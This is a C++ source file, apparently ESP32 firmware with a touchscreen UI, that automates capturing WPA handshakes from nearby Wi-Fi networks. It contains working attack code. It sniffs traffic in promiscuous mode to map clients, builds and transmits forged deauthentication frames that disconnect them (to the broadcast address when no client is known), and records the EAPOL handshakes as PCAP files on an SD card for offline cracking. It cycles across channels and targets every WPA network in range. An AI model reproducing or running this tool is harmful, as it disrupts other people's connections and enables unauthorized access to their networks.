#include "HandshakeCapture.h" #include "SD_Card.h" #include "LVGL_Driver.h" #include #include // Set 0 to use STA-only (test deauth + promiscuous on your core first). #ifndef USE_SOFTAP #define USE_SOFTAP 1 #endif // ─── Internal prototypes ─── static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); static void pcapInitSlot(CaptureSlot* slot); static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len); static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac); static void sendDeauthBurstAll(); static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac); static int getNextChannelSweep(); static void sanitizeFilenameForFat(String& path); static void discardSlotCapture(CaptureSlot* s, int slot_index); // ─── Shared state ─── WifiNetwork networks[MAX_NETWORKS]; CaptureSlot slots[MAX_SLOTS]; volatile int pending_save_slots[MAX_SLOTS] = {-1, -1}; bool is_capturing = false; int current_channel = 0; volatile uint8_t latest_eapol_count[MAX_SLOTS] = {0, 0}; CapturePhase capturePhase = PHASE_OBSERVING; // ─── Phase timing ─── // Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time. #define OBSERVE_DURATION_MS 8000 #define CAPTURE_TIMEOUT_MS 20000 #define DEAUTH_BURST_COUNT 5 #define DEAUTH_BURST_DELAY 2 // ms between frames in a burst #define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit #define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts #define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots // EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit). static unsigned long phase_timer = 0; // Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES). static uint8_t deauth_cycle_count = 0; static int last_channel = 0; // Spinlock for data shared between promiscuous callback (WiFi task) // and main loop. Critical sections are kept very short. static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED; // ─── Captured BSSID cache (persists across channel hops) ─── #define CAPTURED_BSSID_CACHE_SIZE 32 static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6]; static int captured_bssid_count = 0; bool wasBssidCaptured(const uint8_t* bssid) { for (int i = 0; i < captured_bssid_count; i++) { if (memcmp(captured_bssids[i], bssid, 6) == 0) return true; } return false; } static void markBssidCaptured(const uint8_t* bssid) { if (wasBssidCaptured(bssid)) return; if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) { memcpy(captured_bssids[captured_bssid_count], bssid, 6); captured_bssid_count++; } else { memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6); memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6); } } static void sanitizeFilenameForFat(String& path) { for (unsigned i = 0; i < path.length(); i++) { char c = path[i]; if (c == '/') continue; if ((unsigned char)c < 0x20 || c == '"' || c == '*' || c == '\\' || c == ':' || c == '?' || c == '<' || c == '>' || c == '|' || c == '\'' || c == '[' || c == ']') path.setCharAt(i, '_'); } } // Release slot after failed/missing SD so capture never deadlocks on pending_save. static void discardSlotCapture(CaptureSlot* s, int slot_index) { pending_save_slots[slot_index] = -1; s->pcap_size = 0; s->active = false; s->eapol_count = 0; s->beacon_captured = false; s->client_count = 0; if (slot_index >= 0 && slot_index < MAX_SLOTS) latest_eapol_count[slot_index] = 0; // Restore list row after failed save / missing SD (avoid stuck orange “active” look). int ni = s->network_index; if (ni >= 0 && ni < MAX_NETWORKS && !networks[ni].ssid.isEmpty()) { char line[48]; snprintf(line, sizeof(line), "%02d. %s ch%d", ni + 1, networks[ni].ssid.c_str(), networks[ni].ch); Ui_SetNetworkText(ni, line); Ui_SetNetworkColor(ni, lv_palette_main(LV_PALETTE_GREEN)); } } // ─── Init ─── void handshakeCaptureInit() { WiFi.mode(WIFI_STA); WiFi.disconnect(false, true); WiFi.setSleep(false); delay(100); #if USE_SOFTAP WiFi.mode(WIFI_AP_STA); #else WiFi.mode(WIFI_STA); #endif esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback); for (int i = 0; i < MAX_SLOTS; i++) { pending_save_slots[i] = -1; } } // ─── Pending save processing (main loop context — safe for SD I/O) ─── void handshakeCaptureProcessPending() { for (int i = 0; i < MAX_SLOTS; i++) { if (pending_save_slots[i] < 0) continue; CaptureSlot* s = &slots[i]; if (!s->active || s->pcap_size <= sizeof(pcap_global_header_t) || s->eapol_count < HANDSHAKE_EAPOL_FRAMES) { pending_save_slots[i] = -1; continue; } // Do not pre-check SD.cardType() here — it can read false after WiFi on shared SPI. // If the card was pulled, SD.open/write below fails and we discard then. if (!SD_IsReady()) { SD_Init(); } if (!SD_IsReady()) { Serial.println("SD not ready — discarding pending PCAP"); Ui_SetWifiStatus("SD: insert card"); discardSlotCapture(s, i); continue; } String filename = "/4way_"; filename += s->ssid; filename += "_"; filename += String((unsigned long)millis()); filename += "_s"; filename += String(i); filename += ".pcap"; filename.replace(" ", "_"); sanitizeFilenameForFat(filename); File file = SD.open(filename.c_str(), FILE_WRITE); bool ok = false; if (file) { if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) { Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); Ui_SetWifiStatus("4-way saved!"); ok = true; } else { Serial.println("SD write failed — discarding buffer"); Ui_SetWifiStatus("SD write err"); } file.close(); } else { Serial.println("SD open failed — discarding buffer"); Ui_SetWifiStatus("SD open err"); } if (ok) { pending_save_slots[i] = -1; markBssidCaptured(s->bssid); if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) { networks[s->network_index].handshake_captured = true; Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED)); } s->pcap_size = 0; s->active = false; latest_eapol_count[i] = 0; } else { discardSlotCapture(s, i); } } refillSlots(); } // ─── Slot management ─── static bool networkInAnySlot(int ni) { for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active && slots[i].network_index == ni) return true; } return false; } void refillSlots() { if (!is_capturing || current_channel == 0) return; for (int si = 0; si < MAX_SLOTS; si++) { if (slots[si].active) continue; for (int ni = 0; ni < MAX_NETWORKS; ni++) { if (networks[ni].ssid.isEmpty()) break; if (networks[ni].handshake_captured || !isCaptureable(ni)) continue; if (networks[ni].ch != current_channel) continue; if (networkInAnySlot(ni)) continue; CaptureSlot* s = &slots[si]; memcpy(s->bssid, networks[ni].bssid, 6); strncpy(s->ssid, networks[ni].ssid.c_str(), 32); s->ssid[32] = '\0'; s->network_index = ni; s->beacon_captured = false; s->eapol_count = 0; s->client_count = 0; s->active = true; pcapInitSlot(s); break; } } } // ─── Network helpers ─── bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { return a.rssi > b.rssi; } bool isCaptureable(int index) { if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; const String& enc = networks[index].encryption; if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true; if (enc == "WPA3" || enc == "WPA2/WPA3") return true; return false; } int getCaptureableCount() { int n = 0; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (!networks[i].handshake_captured && isCaptureable(i)) n++; } return n; } static int getNextChannelSweep() { int ch_counts[15] = {0}; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; int ch = networks[i].ch; if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++; } // Simple circular sweep across channels that still have targets. int start = last_channel; for (int step = 0; step < 14; step++) { int ch = ((start + step) % 14) + 1; if (ch_counts[ch - 1] > 0) return ch; } return 0; } static void clearNetworkList() { for (int i = 0; i < MAX_NETWORKS; i++) { networks[i].ssid = ""; networks[i].encryption = ""; memset(networks[i].bssid, 0, 6); networks[i].ch = 0; networks[i].rssi = 0; networks[i].handshake_captured = false; } } void scanNetworksSortedByRSSI() { clearNetworkList(); int n = WiFi.scanNetworks(false, true); if (n == 0) return; int stored = 0; for (int i = 0; i < n && stored < MAX_NETWORKS; i++) { String ssid = WiFi.SSID(i); if (ssid.isEmpty()) { const uint8_t* b = WiFi.BSSID(i); char hid[24]; snprintf(hid, sizeof(hid), "_%02X%02X%02X", b[3], b[4], b[5]); networks[stored].ssid = hid; } else { networks[stored].ssid = ssid; } memcpy(networks[stored].bssid, WiFi.BSSID(i), 6); networks[stored].ch = WiFi.channel(i); networks[stored].rssi = WiFi.RSSI(i); wifi_auth_mode_t enc = WiFi.encryptionType(i); if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open"; else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP"; else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA"; else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2"; else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2"; else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise"; #if defined(WIFI_AUTH_WPA3_PSK) else if (enc == WIFI_AUTH_WPA3_PSK) networks[stored].encryption = "WPA3"; #endif #if defined(WIFI_AUTH_WPA2_WPA3_PSK) else if (enc == WIFI_AUTH_WPA2_WPA3_PSK) networks[stored].encryption = "WPA2/WPA3"; #endif else networks[stored].encryption = "Unknown"; networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid); stored++; } std::sort(networks, networks + stored, compareRSSI); } // ─── PCAP buffer (fixed-size, no dynamic alloc) ─── static void pcapInitSlot(CaptureSlot* slot) { slot->pcap_size = sizeof(pcap_global_header_t); pcap_global_header_t header = { .magic_number = 0xa1b2c3d4, .version_major = 2, .version_minor = 4, .thiszone = 0, .sigfigs = 0, .snaplen = 65535, .network = 105 }; memcpy(slot->pcap_buffer, &header, sizeof(header)); } // Must be called inside capture_mux critical section. static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) { if (!frame || len == 0) return false; size_t needed = sizeof(pcap_record_header_t) + len; if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false; uint32_t ms = millis(); pcap_record_header_t rec = { .ts_sec = ms / 1000, .ts_usec = (ms % 1000) * 1000, .incl_len = (uint32_t)len, .orig_len = (uint32_t)len }; memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec)); memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len); slot->pcap_size += needed; return true; } // ─── Client tracking (called from callback under spinlock) ─── static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) { if (mac[0] & 0x01) return false; // multicast/broadcast if (memcmp(mac, slot->bssid, 6) == 0) return false; // the AP itself for (uint8_t i = 0; i < slot->client_count; i++) { if (memcmp(slot->clients[i].mac, mac, 6) == 0) { slot->clients[i].last_seen = millis(); return false; } } if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false; memcpy(slot->clients[slot->client_count].mac, mac, 6); slot->clients[slot->client_count].last_seen = millis(); slot->client_count++; return true; } // ─── Deauth: unicast burst to each discovered client ─── static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) { uint8_t deauth[26] = { 0xC0, 0x00, // Frame Control: Deauth 0x00, 0x00, // Duration 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DA: client 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // SA: AP BSSID 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID: AP 0x00, 0x00, // Seq Ctrl 0x07, 0x00 // Reason: Class 3 from non-associated STA }; memcpy(&deauth[4], client_mac, 6); memcpy(&deauth[10], bssid, 6); memcpy(&deauth[16], bssid, 6); for (int i = 0; i < DEAUTH_BURST_COUNT; i++) { esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY); } } static void sendDeauthBurstAll() { for (int i = 0; i < MAX_SLOTS; i++) { CaptureSlot* s = &slots[i]; if (!s->active) continue; if (s->client_count > 0) { Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); for (uint8_t c = 0; c < s->client_count; c++) { sendDeauthToClient(s->bssid, s->clients[c].mac); if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS); } } else { Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; sendDeauthToClient(s->bssid, bcast); } delay(DEAUTH_GAP_AFTER_SLOT_MS); } } // ─── Capture lifecycle ─── void startMultiCapture() { if (is_capturing) return; current_channel = getNextChannelSweep(); if (current_channel == 0) return; last_channel = current_channel; memset(slots, 0, sizeof(slots)); int filled = 0; for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; if (networks[i].ch != current_channel) continue; CaptureSlot* s = &slots[filled]; memcpy(s->bssid, networks[i].bssid, 6); strncpy(s->ssid, networks[i].ssid.c_str(), 32); s->ssid[32] = '\0'; s->network_index = i; s->beacon_captured = false; s->eapol_count = 0; s->client_count = 0; s->active = true; pcapInitSlot(s); filled++; } if (filled == 0) return; is_capturing = true; capturePhase = PHASE_OBSERVING; phase_timer = millis(); deauth_cycle_count = 0; for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0; esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); } void stopCapture() { if (!is_capturing) return; is_capturing = false; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { if (slots[i].eapol_count >= HANDSHAKE_EAPOL_FRAMES) { pending_save_slots[i] = i; } else { slots[i].pcap_size = 0; slots[i].active = false; } } } handshakeCaptureProcessPending(); } // ─── State machine tick (called from main loop) ─── void handshakeCaptureLoop() { if (!is_capturing) return; unsigned long now = millis(); // Phase 2 → Phase 3 (transient burst) → Phase 4 if (capturePhase == PHASE_OBSERVING) { if (now - phase_timer >= OBSERVE_DURATION_MS) { int total = 0; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); total += slots[i].client_count; } } Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total); sendDeauthBurstAll(); capturePhase = PHASE_CAPTURING; phase_timer = now; deauth_cycle_count++; Serial.println("Phase 4: capturing handshakes..."); } } // Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts if (capturePhase == PHASE_CAPTURING) { if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { if (deauth_cycle_count < MAX_OBSERVE_CYCLES) { Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", (int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES); portENTER_CRITICAL(&capture_mux); for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) slots[i].client_count = 0; } portEXIT_CRITICAL(&capture_mux); capturePhase = PHASE_OBSERVING; phase_timer = now; } else { Serial.println("Max observe/deauth cycles done; stopping capture on this channel."); stopCapture(); } } } } // ─── Promiscuous RX callback ─── // Runs in WiFi task context (high priority). Must be fast. // No Serial, no malloc/realloc, no file I/O. static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { (void)type; if (!is_capturing) return; wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; const uint8_t* payload = pkt->payload; uint16_t len = pkt->rx_ctrl.sig_len; if (len < 24) return; uint8_t frame_type = payload[0]; bool is_beacon = (frame_type == 0x80); bool is_qos = (frame_type == 0x88); bool is_data = (frame_type == 0x08) || is_qos; // Pre-compute EAPOL presence for data frames bool is_eapol = false; uint16_t mhl = 0; if (is_data) { bool to_ds = (payload[1] & 0x01) != 0; bool from_ds = (payload[1] & 0x02) != 0; mhl = 24; if (to_ds && from_ds) mhl += 6; // WDS 4-addr if (is_qos) mhl += 2; // QoS Control // EAPOL is always unencrypted — skip protected frames if (!(payload[1] & 0x40) && len >= mhl + 8) { // Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype if (payload[mhl] == 0xAA && payload[mhl + 1] == 0xAA && payload[mhl + 2] == 0x03) { is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E); } } } // Snapshot minimal slot state quickly (avoid holding lock during memcmp-heavy logic) uint8_t bssids[MAX_SLOTS][6]; bool slot_active[MAX_SLOTS]; bool slot_pending[MAX_SLOTS]; bool slot_beacon_captured[MAX_SLOTS]; CapturePhase phase_snapshot; portENTER_CRITICAL(&capture_mux); phase_snapshot = capturePhase; for (int i = 0; i < MAX_SLOTS; i++) { slot_active[i] = slots[i].active; slot_pending[i] = (pending_save_slots[i] >= 0); slot_beacon_captured[i] = slots[i].beacon_captured; memcpy(bssids[i], slots[i].bssid, 6); } portEXIT_CRITICAL(&capture_mux); // Identify which slot (if any) this frame belongs to. int hit_slot = -1; bool hit_match_addr2 = false; if (is_beacon && len >= 36) { const uint8_t* src = &payload[10]; for (int i = 0; i < MAX_SLOTS; i++) { if (!slot_active[i] || slot_pending[i]) continue; if (slot_beacon_captured[i]) continue; if (memcmp(src, bssids[i], 6) == 0) { hit_slot = i; break; } } } else if (is_data) { const uint8_t* addr1 = &payload[4]; const uint8_t* addr2 = &payload[10]; for (int i = 0; i < MAX_SLOTS; i++) { if (!slot_active[i] || slot_pending[i]) continue; bool match1 = (memcmp(addr1, bssids[i], 6) == 0); bool match2 = (memcmp(addr2, bssids[i], 6) == 0); if (match1 || match2) { hit_slot = i; hit_match_addr2 = match2; break; } } } if (hit_slot < 0) return; // Apply updates under lock (validate slot is still active) portENTER_CRITICAL(&capture_mux); CaptureSlot* s = &slots[hit_slot]; if (!s->active || pending_save_slots[hit_slot] >= 0) { portEXIT_CRITICAL(&capture_mux); return; } if (is_beacon) { if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) { if (pcapAppendSlot(s, payload, len)) s->beacon_captured = true; } portEXIT_CRITICAL(&capture_mux); return; } // Data frame if (phase_snapshot == PHASE_OBSERVING) { const uint8_t* client_mac = hit_match_addr2 ? &payload[4] : &payload[10]; addClientToSlot(s, client_mac); } if (is_eapol) { if (pcapAppendSlot(s, payload, len)) { s->eapol_count++; latest_eapol_count[hit_slot] = s->eapol_count; if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) { pending_save_slots[hit_slot] = hit_slot; } } } portEXIT_CRITICAL(&capture_mux); }